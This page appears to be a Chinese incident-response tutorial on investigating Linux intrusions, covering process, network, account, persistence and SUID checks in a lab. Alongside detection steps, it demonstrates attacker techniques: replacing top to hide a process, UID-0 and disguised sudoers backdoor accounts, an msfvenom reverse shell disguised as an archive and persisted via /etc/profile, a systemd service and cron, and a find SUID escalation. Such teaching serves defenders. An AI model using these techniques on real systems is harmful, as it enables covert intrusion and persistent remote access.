应急响应
应急响应概述
Windows入侵排查
Windows日志分析
Linux入侵排查
Linux日志分析
Windows入侵排查【详细版】
Linux入侵排查【详细版】
蚁剑流量分析
冰蝎流量分析
中国菜刀流量分析
Webshell管理工具流量特征
-
+
首页
Linux入侵排查
## 系统信息收集 ### 内核信息 | 文件或者命令 | 描述 | | --------------- | ------------------------------------------------------------ | | uname -a | 通过 uname 命令可快速获取内核版本及系统基本信息,显示完整内核信息,包括版本、编译时间、硬件架构、主机名。 | | /proc/version | 记录内核编译时的具体参数和环境信息。 | | /etc/os-release | systemd 系统中标准的操作系统身份信息文件,主要用于存储发行版名称、版本、ID 等关键信息,方便脚本或程序快速识别系统类型,而非内核信息。 | > uname -a ```bash test@test-VMware-Virtual-Platform:~$ uname -a Linux test-VMware-Virtual-Platform 6.14.0-33-generic #33~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Sep 19 17:02:30 UTC 2 x86_64 x86_64 x86_64 GNU/Linux ``` 分析: | 字段 | 描述 | | ---------------------------- | ------------------------------------------------------------ | | Linux | 操作系统的内核名称 | | test-VMware-Virtual-Platform | 当前系统的主机名称 | | 6.14.0 | 内核版本号 | | 33-generic | Ubuntu 发行版的内核补丁级别,generic为通用内核 | | #33~24.04.1-Ubuntu | 内核编译版本标识 | | SMP | 表示内核支持多CPU或者多核处理器 | | PREEMPT_DYNAMIC | 允许高优先级任务中断低优先级任务,降低系统延迟 | | Fri Sep 19 17:02:30 UTC 2 | 内核编译时间 | | x86_64 x86_64 x86_64 | 硬件架构信息,分别对应 “机器硬件名称、处理器架构、硬件平台” | | GNU/Linux | 操作系统类型标识,表示这是 “GNU 工具链 + Linux 内核” 的组合系统(Linux 内核配合 GNU 软件套件构成完整的操作系统) | > /proc/version ```bash test@test-VMware-Virtual-Platform:~$ cat /proc/version Linux version 6.14.0-33-generic (buildd@lcy02-amd64-026) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #33~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Sep 19 17:02:30 UTC 2 ``` > /etc/os-release ```bash test@test-VMware-Virtual-Platform:~$ cat /etc/os-release PRETTY_NAME="Ubuntu 24.04.3 LTS" NAME="Ubuntu" VERSION_ID="24.04" VERSION="24.04.3 LTS (Noble Numbat)" VERSION_CODENAME=noble ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=noble LOGO=ubuntu-logo ``` 重点关注【VERSION】,即当前系统的版本号 ### 进程信息 在 Linux 系统中,进程(Process) 是程序的运行实例,是系统资源分配的基本单位。 | 命令 | 描述 | | ---- | ------------------------------------------------------------ | | ps | 用于获取系统在 “某一时刻” 的进程快照(静态信息)。 | | top | 实时刷新进程列表(默认 3 秒一次),适合监控 CPU、内存占用过高的进程。 | | lsof | 对应进程所打开的文件 | > ps ps只会显示执行命令时的进程状态,常用参数组合: | 命令 | 描述 | 参数 | | ------ | ---------------------------------------------------------- | ------------------------------------------------------------ | | ps aux | 显示系统中所有的进程(包括其他用户) | a:显示全终端上的进程<br />u:显示进程信息<br />x:显示后台进程 | | ps -ef | 显示系统中所有的进程,输出包含父进程,适合查看父子进程关系 | -e:显示所有进程<br />-f:以完整格式显示进程信息 | 选项前面增加-,输出信息更全面,侧重于系统视角。 ```bash ps aux ```  | 字段名 | 含义与解读 | | ------- | ------------------------------------------------------------ | | USER | 进程所属用户(如root、www-data),用于区分进程的权限范围。 | | PID | 进程 ID(唯一标识),是管理进程(如终止、调整优先级)的核心依据(必须记住)。 | | %CPU | 进程占用的 CPU 百分比(自进程启动以来的平均值),100%表示占用 1 个核心的全部资源。 | | %MEM | 进程占用的物理内存百分比,反映进程对内存的消耗。 | | VSZ | 虚拟内存大小(单位:KB),包括物理内存、交换分区、未使用的内存等(理论上的总内存需求)。 | | RSS | 实际使用的物理内存大小(单位:KB),不包括交换分区,更能反映进程的真实内存占用。 | | TTY | 进程关联的终端(终端设备):- ? 表示无终端(后台服务,如nginx、systemd);- pts/0 表示虚拟终端(SSH 远程连接);- tty1 表示本地终端。 | | STAT | 进程状态码,如S(睡眠)、R(运行)、Z(僵尸)。 | | START | 进程启动时间(格式:小时:分钟,若启动超过 24 小时则显示日期)。 | | TIME | 进程累计占用的 CPU 时间(格式:分钟:秒),非运行时间(如睡眠时不累计)。 | | COMMAND | 启动进程的完整命令(包括路径和参数),用于识别进程的用途(如nginx: worker process)。 | ```bash ps -ef ```  | 字段名 | 含义与解读 | | ------ | ------------------------------------------------------------ | | UID | 进程所属用户的 ID(数字形式),与ps aux的USER对应(如root的 UID 为 0)。 | | PID | 进程 ID(同ps aux,唯一标识)。 | | PPID | 父进程 ID(核心字段),表示该进程由哪个进程启动(如sshd的 PPID=1,说明由init启动)。 | | C | 进程的 CPU 利用率(百分比,同ps aux的%CPU,但精度较低)。 | | STIME | 进程启动时间(格式:日期或小时:分钟,同ps aux的START)。 | | TTY | 进程关联的终端(同ps aux的TTY)。 | | TIME | 进程累计占用的 CPU 时间(同ps aux的TIME)。 | | CMD | 启动进程的命令(同ps aux的COMMAND,但可能省略部分参数)。 | > 进程状态码 STAT字段用 1-2 个字符表示进程状态,是判断进程是否正常的核心依据。 | 状态码 | 含义 | 说明与常见场景 | | ------ | ---------------------------- | ------------------------------------------------------------ | | R | 运行中(Running) | 正在 CPU 上运行,或处于就绪状态(等待 CPU 调度),正常进程会短暂处于此状态。 | | S | 可中断睡眠(Sleeping) | 等待事件(如 I/O 完成、用户输入),可被信号(如kill)唤醒,大多数进程空闲时处于此状态(正常)。 | | D | 不可中断睡眠(Disk Sleep) | 等待硬件 I/O(如磁盘读写、网络请求),无法被信号中断,强制终止可能导致数据损坏(需等待完成)。 | | Z | 僵尸进程(Zombie) | 进程已终止,但父进程未回收其资源(PID 仍存在),%CPU和%MEM通常为 0,需终止父进程清理。 | | T | 停止状态(Stopped) | 被信号暂停(如kill -19 PID),可通过kill -18 PID恢复,调试程序时常见。 | | s | 会话首进程(Session Leader) | 表示该进程是一个会话的领导者(如终端启动的第一个进程),常与其他状态组合(如Ss)。 | | + | 前台进程组 | 表示进程在前台运行(与终端交互,如bash命令),按Ctrl+C可终止。 | | l | 多线程进程 | 表示进程包含多个线程(如 Java 程序)。 | > top top 是 Linux 系统中最常用的实时进程监控工具,它能动态显示系统资源(CPU、内存)的使用情况和进程的实时状态(默认每 3 秒刷新一次)。 执行 top 命令后,界面分为上下两部分,上半部分是系统整体状态,下半部分是进程详细列表。  上半部分,分别是 ```txt 系统信息:当前系统时间 系统运行时间 当前登录用户数量(包括本地和远程连接) 系统负载(1分钟、5分钟、15分钟内的平均进程数) 进程统计:总进程数 正在运行的进程数 睡眠的进程数量 停止的进程数量 僵尸进程数量(Z 状态,若不为 0 需关注) CPU使用率(百分比):us用户进程占用 sy系统进程占用 ni优先级调整过的进程占用 idCPU空闲百分比 waCPU等待I/O的百分比 hi处理硬件的占用 si软件中断的占用 st被虚拟机监控的程序占用 MiB Mem为物理内存的使用情况,total = 总容量,free = 空闲,used = 已使用,buff/cache = 缓存和缓冲区 MiB Swap:交换分区的使用情况,total = 总容量,free = 空闲,used = 已使用,avail Mem = 可立即分配给新进程的内存(含 free 和可释放的缓存,比 free 更能反映实际可用内存) ``` 下半部分: | 字段 | 描述 | | ------- | ------------------------------------------------------------ | | PID | 进程号,唯一标识,用于管理进程 | | USER | 进程所属用户 | | PR | 进程优先级,数值越小优先级越高,范围 0-39,其中 0-19 为用户进程,20-39 为实时进程 | | NI | nice 值,优先级调整值,范围 - 20~19,PR = NI + 20,负值表示高优先级 | | VIRT | 进程使用的虚拟内存总量(包括物理内存、交换分区、未使用的内存,单位:KB) | | RES | 进程使用的物理内存(实际占用的 RAM,不包括交换分区,单位:KB) | | SHR | 进程共享的内存(与其他进程共享的内存,如动态链接库,单位:KB) | | S | 进程状态 | | %CPU | 进程占用 的CPU百分比(实时刷新,非累计值) | | %MEM | 进程占用的物理内存百分比; | | TIME+ | 进程累计占用的 CPU 时间(精确到 0.01 秒) | | COMMAND | 启动进程的命令 | top界面中的快捷键 | 捷键 | 功能 | | ---- | ------------------------------------------------------------ | | P | 按 CPU 使用率 降序排序(默认排序方式,方便找高 CPU 进程) | | M | 按 内存使用率(% MEM) 降序排序(方便找高内存进程) | | T | 按 累计 CPU 时间(TIME+) 降序排序(查看最耗时的进程) | | k | 终止指定进程(输入 PID 后按回车,再输入信号(如 9 表示强制终止)) | | u | 筛选特定用户的进程(输入用户名后回车,如 root 只显示 root 的进程) | | p | 筛选特定 PID 的进程(输入 PID 后回车,只显示该进程) | | 1 | **显示 每个 CPU 核心的使用率(多核心系统中常用,判断是否某核心过载)** | | z | 切换彩色 / 黑白显示(彩色更易区分状态) | | b | 高亮显示当前排序的列(如按 CPU 排序时,% CPU 列会高亮) | | s | 调整刷新间隔(输入秒数,如 5 表示每 5 秒刷新一次) | | q | 退出 top 界面 | 状况分析:如果观察到上半部分%CPU中的us为100.0,但是下半部分的%CPU占用非常低。---进程隐藏 > 进程隐藏  以systemd为例,将他做一个隐藏。 ```bash #可以创建一些比较特殊的目录,提高隐蔽性 root@test-VMware-Virtual-Platform:~# mkdir " " root@test-VMware-Virtual-Platform:~# ls ' ' snap root@test-VMware-Virtual-Platform:~# cd " " root@test-VMware-Virtual-Platform:~/ # #将top命令放入到创建的特殊目录中。 root@test-VMware-Virtual-Platform:~# which top /usr/bin/top root@test-VMware-Virtual-Platform:~# mv /usr/bin/top ./" "/ root@test-VMware-Virtual-Platform:~# top 找不到命令 “top”,但可以通过以下软件包安装它: apt install procps #然后去编辑一个新的top文件 root@test-VMware-Virtual-Platform:~# vim /usr/bin/top #!/bin/bash /root/" "/top | grep -v "systemd" #增加执行权限。 root@test-VMware-Virtual-Platform:~# chmod +x /usr/bin/top #再去执行top命令 ```  隐藏文件的排查:通过file命令看文件类型、时间线范围内创建的文件。 如何防止命令被替换的情况出现呢?上传一个busybox busybox 被称为 “嵌入式 Linux 的瑞士军刀”,是一个集成了数百个常用 Unix/Linux 命令的精简工具集。它将 ls、ps、cd、grep 等基础命令打包成一个单一的可执行文件,体积小巧(通常仅几百 KB),却能提供核心功能, > lsof lsof列出系统中所有被进程打开的 “文件”,并展示它们与进程的关联关系。 lsof 支持大量选项,可按 “进程、用户、文件、网络” 等维度筛选结果。 | 参数 | 描述 | | ----------------- | ------------------------------------------------------ | | lsof -p \<PID> | 查看指定进程打开的所有文件(包括文件、网络、设备等) | | lsof -u <用户名> | 查看某个用户的所有进程打开的文件,定位特定用户的操作。 | | lsof <文件路径> | 查看某个文件被哪些进程占用 | | lsof -i :<端口号> | 查看某个端口被哪个进程占用 | | lsof -i <协议/IP> | 查看系统的网络连接(TCP/UDP)及对应的进程 | | lsof /dev/sda1 | 看某个存储设备(如硬盘分区)被哪些进程占用 |   字段分析 | 字段名 | 含义与说明 | | -------- | ------------------------------------------------------------ | | COMMAND | 进程名称(如systemd、sshd),标识哪个进程在操作文件。 | | PID | 进程 ID,唯一标识进程,可结合kill等命令管理进程。 | | USER | 进程所属用户,用于区分权限(如root进程可能操作敏感文件)。 | | FD | 文件描述符(File Descriptor),表示进程对文件的操作方式:<br />- cwd:当前工作目录;- rtd:根目录;- txt:进程的可执行程序(代码);- r:只读;- w:可写;- u:可读可写;<br />- 数字(如3u):具体的文件描述符编号。 | | TYPE | 文件类型,标识 “文件” 的实际类型:<br />- REG:普通文件;- DIR:目录;- TCP/UDP:网络套接字(TCP/UDP 连接);- CHR:字符设备(如键盘、终端);<br />- FIFO:管道文件(进程间通信)。 | | DEVICE | 设备编号(如8,1对应磁盘分区/dev/sda1),标识文件所在的存储设备。 | | SIZE/OFF | 文件大小或偏移量(网络连接通常为0t0)。 | | NODE | 文件的 inode 编号(Linux 中文件的唯一标识)。 | | NAME | 文件路径或网络连接信息:<br />- 普通文件:如/var/log/syslog;- 网络连接:如*:22(监听 22 端口)、192.168.1.100:5432->10.0.0.1:80(TCP 连接)。 | ### 网络连接信息 > netstat netstat(Network Statistics)是 Linux 系统中用于查看网络连接、路由表、接口统计信息的经典命令,主要用于监控网络状态、排查网络连接问题(如端口占用、异常连接)。 常用参数列表: | 参数 | 描述 | | ---- | --------------------------------------------------- | | -t | 只显示 TCP 连接 | | -u | 只显示 UDP 连接 | | -w | 只显示 RAW 协议连接(如 ICMP) | | -a | 显示所有状态的连接(包括监听、已建立等) | | -l | 只显示监听状态的连接 | | -n | 数字形式显示 IP 和端口(不解析域名 / 服务名) | | -e | 显示额外信息(如用户 ID、网卡名称,Linux 中较少用) | | -p | 显示连接对应的进程 PID 和名称(需 root 权限) | | -i | 显示网络接口的统计信息(如收发数据包数、丢包数) | | -r | 显示内核路由表(同 route -n) | | -c | 实时刷新输出(每秒一次,类似top的动态监控) | | -s | 显示各协议的统计数据(如 TCP 重传次数、UDP 错误数) | 常用组合: | 组合 | 描述 | | -------------- | ------------------------------------------------------------ | | netstat -tulnp | 查看所有监听端口以及对应进程 | | netstat -atn | 查看所有已建立的TCP连接 | | netstat -rn | 查看路由表 | | netstat -pantu | 查看系统中所有 TCP/UDP 连接(包括监听和已建立状态),并关联对应的进程,同时用数字格式显示 IP 和端口 |  > 处理恶意进程 kill -9 PID号,强制kill进程。  ## 恶意用户排查 ### passwd文件 > /etc/passwd /etc/passwd 是 Linux 系统中存储用户账户基本信息的核心配置文件,用户包括系统用户、普通用户、服务用户。  文件的默认权限为644。  格式分析: ```txt 用户名:密码占位符:UID:GID:用户信息:家目录:默认shell # 密码占位符,早期直接存储加密密码,现在固定为 x(表示密码存储在 /etc/shadow 中),增强安全性。 #UID,数字形式的用户唯一标识:0:超级管理员(root);1-999:系统用户(如服务运行的用户);1000+:普通用户。 #默认shell,用户登录后默认使用的命令解释器(如 /bin/bash、/bin/sh);若为 /sbin/nologin 表示该用户无法登录(通常用于服务用户)。 /bin/bash与/bin/sh的典型区别是bash支持编程。 ``` > 示例 后面账户的隐藏方式之一:将恶意用户的id和组id修改为0。 1、新创建用户。 ```txt root@test-VMware-Virtual-Platform:/# clear root@test-VMware-Virtual-Platform:/# useradd mathias root@test-VMware-Virtual-Platform:/# passwd mathias 新的密码: 无效的密码: 密码少于 8 个字符 重新输入新的密码: passwd:已成功更新密码 ``` 2、查看当前的passwd文件。  3、修改文件,将mathias用户的id和组id修改为0。  4、切换至mathias账户。  已经拥有root权限,但是这样更改非常明显,可否创建一个更为隐蔽的账户吗? ### sudoers文件 > /etc/sudoers /etc/sudoers 是 Linux 系统中控制用户或用户组获取管理员(root)权限的核心配置文件,决定了哪些用户可以通过 sudo 命令临时执行哪些特权操作。 简单一点就是授权书,使用 sudo 时,系统会查询这个文件来判断你是否有被允许执行该命令。 默认的权限:440  > 文件内容分析 文件的核心是权限的规则: ```txt 用户/组 主机列表=(运行身份) 命令列表 ```  | 字段 | 描述 | 示例 | | -------- | ------------------------------------------------------------ | --------------------------- | | 用户/组 | 指定权限的所有者:<br />单个用户:直接些用户名<br />用户组:以%开头 | root<br />%admin<br />%sudo | | 主机列表 | 限定在哪些主机上生效(单机通常使用ALL,表示所有主机) | ALL、server01 | | 运行身份 | 执行命令时切换到的用户和组 | (root)、(ALL:ALL) | | 命令列表 | 允许执行的命令(必须写绝对路径),多个命令使用逗号分割,ALL表示所有命令 | ALL、/usr/bin/apt | root ALL=(ALL:ALL) ALL 表示root 用户可以在任何主机上以任何用户和用户组的身份运行所有命令。 > 示例 1、创建一个比较有迷惑性的用户名,最简单的方式就是模仿passwd文件中的服务账户名称,  ```bash root@test-VMware-Virtual-Platform:/# useradd systemd-eventlog root@test-VMware-Virtual-Platform:/# passwd systemd-eventlog 新的密码: 无效的密码: 密码少于 8 个字符 重新输入新的密码: passwd:已成功更新密码 ``` 2、修改po1kitd账户的passwd文件。  3、将sudoers文件赋予777权限且修改。 ```bash root@test-VMware-Virtual-Platform:/# stat /etc/sudoers 文件:/etc/sudoers 大小:1800 块:8 IO 块大小:4096 普通文件 设备:252,0 Inode: 131513 硬链接:1 权限:(0440/-r--r-----) Uid: ( 0/ root) Gid: ( 0/ root) 访问时间:2025-10-15 16:56:00.565365027 +0800 修改时间:2024-01-30 01:09:56.000000000 +0800 变更时间:2025-09-12 12:54:33.846524369 +0800 创建时间:2025-09-12 12:54:33.846464272 +0800 root@test-VMware-Virtual-Platform:/# chmod 777 /etc/sudoers root@test-VMware-Virtual-Platform:/# vim /etc/sudoers #添加完成后再将权限收回。 ```  ```bash systemd-eventlog@test-VMware-Virtual-Platform:/$ whoami systemd-eventlog systemd-eventlog@test-VMware-Virtual-Platform:/$ sudo -l [sudo] systemd-eventlog 的密码: 匹配 test-VMware-Virtual-Platform 上 systemd-eventlog 的默认条目: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty 用户 systemd-eventlog 可以在 test-VMware-Virtual-Platform 上运行以下命令: (ALL : ALL) ALL systemd-eventlog@test-VMware-Virtual-Platform:/$ ls -laih /root ls: 无法打开目录 '/root': 权限不够 systemd-eventlog@test-VMware-Virtual-Platform:/$ sudo ls -liah /root 总计 64K 524315 drwxr-xr-x 2 root root 4.0K 10月 15 11:35 ' ' 393218 drwx------ 8 root root 4.0K 10月 15 17:47 . 2 drwxr-xr-x 23 root root 4.0K 9月 12 13:16 .. 393224 -rw------- 1 root root 4.6K 10月 15 17:31 .bash_history 393228 -rw-r--r-- 1 root root 3.1K 9月 12 17:28 .bashrc 393219 drwx------ 2 root root 4.0K 8月 6 00:51 .cache 524316 drwx------ 3 root root 4.0K 10月 15 11:39 .config 393225 -rw------- 1 root root 20 9月 12 16:36 .lesshst 524308 drwxr-xr-x 3 root root 4.0K 9月 12 15:33 .local 393222 -rw-r--r-- 1 root root 161 4月 22 2024 .profile 524291 drwx------ 6 root root 4.0K 9月 12 14:42 snap 393220 drwx------ 2 root root 4.0K 10月 15 16:42 .ssh 393227 -rw------- 1 root root 8.2K 10月 15 17:47 .viminfo systemd-eventlog@test-VMware-Virtual-Platform:/$ ``` ## 持久化项排查 ### 环境变量 > 常见环境变量与shell配置文件 | 文件名 | 描述 | 执行时机 | | ---------------- | ---------------------------------------------- | ------------------------------------------------------------ | | /etc/profile | 对系统所有用户有效(全局配置) | 仅在登录 shell 启动时执行(如通过 ssh 登录、su - 用户名 切换用户,或本地终端登录)。 | | /etc/bash.bashrc | 对所有使用 bash 的用户有效(全局 bash 配置)。 | 在交互式非登录 bash shell 启动时执行(如打开终端窗口、bash 命令进入新 shell)。 | | ~/.profile | 仅对当前用户有效(个人配置)。 | 在登录 shell 启动时执行,但优先级更高(会覆盖 /etc/profile 的同名配置)。 | | ~/.bashrc | 仅对当前用户的 bash 有效(个人 bash 配置)。 | 在交互式非登录 bash shell 启动时执行(如打开终端、bash 进入新 shell),优先级高于 /etc/bash.bashrc(会覆盖系统级配置)。 | > 实验:使用MSF生成恶意文件,通过环境变量的方式进行加载 1、生成MSF恶意文件: ```bash ┌──(root㉿kali)-[~] └─# msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.181.129 LPORT=6666 -f elf -o apache.tar.gz [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 130 bytes Final size of elf file: 250 bytes Saved as: apache.tar.gz ┌──(root㉿kali)-[~] └─# ls apache.tar.gz ``` 2、通过python的http.server服务,传输到靶机。  3、kali机器进行监听模式: ```bash msf > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf exploit(multi/handler) > set payload linux/ Display all 109 possibilities? (y or n) msf exploit(multi/handler) > set payload linux/x86/shell/reverse_tcp payload => linux/x86/shell/reverse_tcp msf exploit(multi/handler) > set LHOST 192.168.181.129 LHOST => 192.168.181.129 msf exploit(multi/handler) > set LPORT 6666 LPORT => 6666 msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.181.129:6666 ``` 4、将恶意文件赋予执行权限,并进行检测是否监听成功。 ```bash root@test-VMware-Virtual-Platform:~# chmod +x apache.tar.gz root@test-VMware-Virtual-Platform:~# ./apache.tar.gz msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.181.129:6666 [*] Sending stage (36 bytes) to 192.168.181.131 ``` 5、将恶意程序放到/etc/profile文件中。  命令后面跟&,表示后台运行。 6、模拟用户登录ssh。 ```bash ssh root@192.168.181.131 msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.181.129:6666 [*] Sending stage (36 bytes) to 192.168.181.131 ``` ### 服务文件 > 概述 **服务文件(.service 文件)** 是定义服务如何启动、运行、停止的配置文件。 在Linux 系统中,systemctl 是 **systemd 系统管理器**的核心命令,用于管理系统服务(service)。 systemctl命令所有操作的本质都是基于服务文件的配置。  > 存放位置 | 路径 | 作用范围 | 说明 | | ------------------------ | --------------------------- | ------------------------------------------------------------ | | /usr/lib/systemd/system/ | 系统级(默认服务) | 系统预装服务(如 ssh.service、nginx.service)的默认位置,**不建议手动修改**(系统更新可能覆盖)。 | | /etc/systemd/system/ | 系统级(自定义 / 修改服务) | 用于存放自定义服务或修改后的系统服务,**优先级高于 /usr/lib 目录**(推荐在此处创建自定义服务)。 | | ~/.config/systemd/user/ | 用户级(仅当前用户) | 仅对当前用户生效的服务(如用户自己的应用),无需 root 权限。 | > 结构 一个标准的 .service 文件包含 3 个核心区块:[Unit]、[Service]、[Install],每个区块有特定参数。 以myapp.service,自定义服务为例: ```txt [Unit] # 服务元信息与依赖 Description=My Custom Application # 服务描述(必填,直观说明服务用途) After=network.target # 依赖:在 network.target(网络服务)启动后再启动本服务 Wants=network.target # 弱依赖:若 network.target 启动失败,本服务仍可尝试启动(与 Requires 相反) [Service] # 服务运行核心配置 Type=simple # 服务类型(最常用,默认:启动后立即进入运行状态) User=www-data # 以 www-data 用户身份运行(避免用 root,遵循最小权限) Group=www-data # 以 www-data 组身份运行 WorkingDirectory=/opt/myapp # 服务运行的工作目录 ExecStart=/opt/myapp/bin/start.sh # 启动命令(必填:服务的核心启动脚本/程序路径) ExecStop=/opt/myapp/bin/stop.sh # 停止命令(可选:手动停止服务时执行的命令) Restart=on-failure # 重启策略:服务意外失败时自动重启 RestartSec=5 # 重启间隔:失败后等待 5 秒再重启 [Install] # 服务安装配置,与开机自启相关 WantedBy=multi-user.target # 自启目标:在多用户模式(默认运行级别)下开机自启 ``` ssh.service服务配置文件:  > 创建恶意程序 复制ssh服务配置文件。 ```bash root@test-VMware-Virtual-Platform:/lib/systemd/system# cp ssh.service mathias.service ``` 编辑mathias.service服务的配置信息,可以删除一些配置信息: ```txt [Unit] Description=OpenBSD Secure Shell server After=network.target auditd.service [Service] ExecStartPre=/usr/sbin/sshd -t ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ExecReload=/usr/sbin/sshd -t ExecReload=/bin/kill -HUP $MAINPID KillMode=process Restart=on-failure RestartPreventExitStatus=255 Type=notify RuntimeDirectory=sshd RuntimeDirectoryMode=0755 [Install] WantedBy=multi-user.target ``` 只修改【ExecStart】的值。 ```txt [Unit] Description=OpenBSD Secure Shell server After=network.target auditd.service [Service] ExecStartPre=/usr/sbin/sshd -t ExecStart=nohup /root/apache.tar.gz & # 恶意文件,nohup让进程在终端关闭后继续运行,创建新的进程 &后台运行 ExecReload=/usr/sbin/sshd -t ExecReload=/bin/kill -HUP $MAINPID KillMode=process Restart=on-failure RestartPreventExitStatus=255 Type=notify RuntimeDirectory=sshd RuntimeDirectoryMode=0755 [Install] WantedBy=multi-user.target ``` 重载所有服务文件,将恶意服务加入开机自启动,再启动程序后发现msf上线成功。 ```bash root@test-VMware-Virtual-Platform:/lib/systemd/system# systemctl daemon-reload root@test-VMware-Virtual-Platform:/lib/systemd/system# systemctl start mathias.service ``` ```bash msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.181.129:6666 [*] Sending stage (36 bytes) to 192.168.181.131 ``` > 哪些服务文件是可疑的? 如果知道恶意文件的名称: ```txt grep “恶意文件名称” -Rn . #从当前路径寻找哪些文件的内容有恶意文件名称 R:递归查询 n:显示所在行 ``` ```bash root@test-VMware-Virtual-Platform:/# cd /lib/systemd/ root@test-VMware-Virtual-Platform:/lib/systemd# grep "apache.tar.gz" -Rn . ./system/mathias.service:7:ExecStart=nohup /root/apache.tar.gz & ``` ### 计划任务 > 概述 计划任务指通过工具设置 “定时自动执行命令 / 脚本” 的功能,核心用于周期性任务(如日志清理、数据备份、系统监控等)。 > 用户与系统的计划任务 | 类型 | 配置方式 | 场景 | 特点 | | ------ | -------------------------- | ------------------ | ------------------------------------------------------------ | | 用户级 | crontab -e(当前用户编辑) | 单个用户的个人任务 | 无需root权限,仅对当前用户生效<br />配置文件的位置:/var/spool/cron/crontab/username | | 系统级 | /etc/crontab | 系统的全局任务 | 需root权限,可指定执行用户 | > crontab ```bash crontab -e ```  每条定时任务的格式为 **6 个字段**,用空格分隔(前 5 个为时间,最后 1 个为执行命令): ```txt 分 时 日 月 周 执行命令/脚本(绝对路径) ``` | 字段 | 取值范围 | 说明 | | ---- | ----------------- | ----------------------------------------------------------- | | 分 | 0-59 | 每分钟用 *,每 5 分钟用 */5,特定分钟用 0,15,30(逗号分隔) | | 时 | 0-23 | 每小时用 *,每天 9 点用 9,9-18 点每 2 小时用 9-18/2 | | 日 | 1-31 | 每天用 *,每月 1 号用 1,每月最后一天用 L(部分系统支持) | | 月 | 1-12 或 Jan-Dec | 每月用 *,3-5 月用 3-5 或 Mar-May | | 周 | 0-7(0/7 = 周日) | 每周用 *,每周一三五用 1,3,5 或 Mon,Wed,Fri | | 命令 | 绝对路径 | 必须写绝对路径(如 /usr/bin/ls 而非 ls),避免环境变量问题 | 常用命令: | 命令 | 功能描述 | | -------------------------- | ------------------------------------------------------------ | | crontab -e | 编辑当前用户的定时任务(默认用 vi 编辑器,按 i 编辑,Esc + :wq 保存) | | crontab -l | 列出当前用户的所有定时任务 | | crontab -r | 删除当前用户的所有定时任务(谨慎!无确认步骤) | | sudo crontab -u 用户名 -e | 编辑指定用户的定时任务(需 root 权限,如 sudo crontab -u test -e) | | sudo systemctl status cron | 查看 cron 服务状态(确保服务在运行,否则任务不执行) | 示例:  **每分钟执行一次 `/root/apache.tar.gz` 文件** ```bash msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.181.129:6666 [*] Sending stage (36 bytes) to 192.168.181.131 ``` 如何排查呢?直接使用crontab -l  也可以直接去`/var/spool/cron/crontabs`  > 全局变量 /etc/crontab ```bash root@test-VMware-Virtual-Platform:/etc/cron.d# cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh # You can also override PATH, but by default, newer versions inherit it from the environment #PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; } 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } # root@test-VMware-Virtual-Platform:/etc/cron.d# ``` > /etc/cron* ```bash root@test-VMware-Virtual-Platform:/etc/cron.d# cd /etc/cron cron.d/ cron.daily/ cron.hourly/ cron.monthly/ crontab cron.weekly/ cron.yearly/ ``` > /etc/rc.local 该文件在centos中是默认在开机时开启=,在Ubuntu中默认是没有开启的,该文件对应了服务文件为`/lib/systemd/system\rc-local.service`  ### 公私钥登录 ## 恶意文件排查 ### SUID > 概述 在 Linux 系统中,SUID(Set User ID)是一种特殊权限,用于控制文件的执行权限。 它的核心作用是:当用户执行设置了 SUID 权限的文件时,会临时获得该文件所有者的权限(而非执行用户自身的权限),执行结束后权限自动恢复。 在Linux中最高权限是777吗?----SUID:0777,0就是SUID位  当一个程序被运行时,它是以什么身份去执行的?--通常来说,是执行程序的用户权限; 当程序被赋予SUID之后,那么程序会以程序的所有者身份去执行。 > 实验 创建一个test文件。 \ 修改文件的权限为最小权限。  那么还可以查看文件吗?  root用户是唯一不受最小权限约束的用户,最小权限情况下也可以有可读权限。 将cat命令,复制到tmp目录,并且赋予SUID权限。  同时将之前的test文件复制到tmp目录下。  切换到普通用户读取该文件呢?  为什么? 因为./cat命令运行时的身份不是mathias,而是root。 注意:SUID只作用于二进制文件。 > 为什么要注意SUID权限的文件呢? 因为具有SUID权限的文件可能会被用于提权操作,例如:find命令,其余的大概70多个左右。 经典提权用法: ```bash find /etc/passwd -exec whoami \; # find 路径(必须真实存在) -exec 执行命令 \;(结束符号) ```  > 如何寻找具有SUID权限的文件? ```txt find / -perm -4000 -type f 2>/dev/null # 分析 -perm 按照权限筛选,包含指定权限的数字 -type f按照类型筛选,f文件类型、d为目录 2>/dev/null 用于忽略错误输出,仅显示有效结果 ```  ## 入侵排查思路 根据时间线,使用find命令搜索在时间范围内创建的文件 ```bash find / -type f -newermt 